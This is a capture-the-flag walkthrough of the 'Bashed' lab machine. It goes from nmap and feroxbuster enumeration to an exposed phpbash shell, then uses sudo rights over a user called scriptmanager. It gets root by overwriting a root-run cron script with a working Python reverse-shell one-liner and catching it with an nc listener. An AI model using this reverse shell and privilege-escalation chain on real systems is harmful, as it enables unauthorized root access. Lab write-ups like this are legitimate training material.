Enumeration

We begin with an nmap scan and find only one port open:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
|_http-title: Arrexel's Development Site
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD

Going to the web site reveals a blog site talking about phpbash.

phpbash is well-known script used to emulate a bash terminal that can be uploaded to a target site to get a shell as the web server.

The blog reveals that this is the server that was used to develop the script, so it’s possible it exists and we need to find it by directory busting.

Running feroxbuster using:

feroxbuster -u http://$target/ -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -x php

Finds the endpoint quickly at /dev/phpbash.php and viewing this in the browser gives us access to a phpbash terminal session.

Exploitation

One of the first things we do to gain situational awareness after landing in a shell is to run sudo -l to find out if we can run sudo without credentials. We are lucky and we can:

Matching Defaults entries for www-data on bashed:  
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User www-data may run the following commands on bashed:  
(scriptmanager : scriptmanager) NOPASSWD: ALL

Looking around the box shows a /scripts directory in the root. We can read it because it is owned by scriptmanager:

sudo -u scriptmanager ls -la /scripts
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jul 27 23:32 test.txt

Reading the test.py reveals:

f = open("test.txt", "w")
f.write("testing 123!")
f.close

The script opens the test.txt file in the same directory with write permissions and writes to it and closes the file.

Interestingly, if you ls -la the directory after a few minutes, the timestamp on the test.txt file updates. So it seems that every minute or so, the script is being run. Note that the permissions on the test.txt file are of the root user so it’s likely root is the one who will execute the test.py script if we modify it.

In a temporary directory, such as /dev/shm, we can do:

echo import 'socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > test.py

Change HOST and PORT to your own

This stages our reverse shell payload. On our attack host, we listen for the reverse shell using nc -lnvp <port>. To get this to be called by the scheduled task that seems to happen every minute, we need to copy our script over the top of the known test.py:

sudo -u scriptmanager cp ./test.py /scripts/test.py

In about 1 minute, we get a root shell over in our nc listener and we have gotten root on the machine.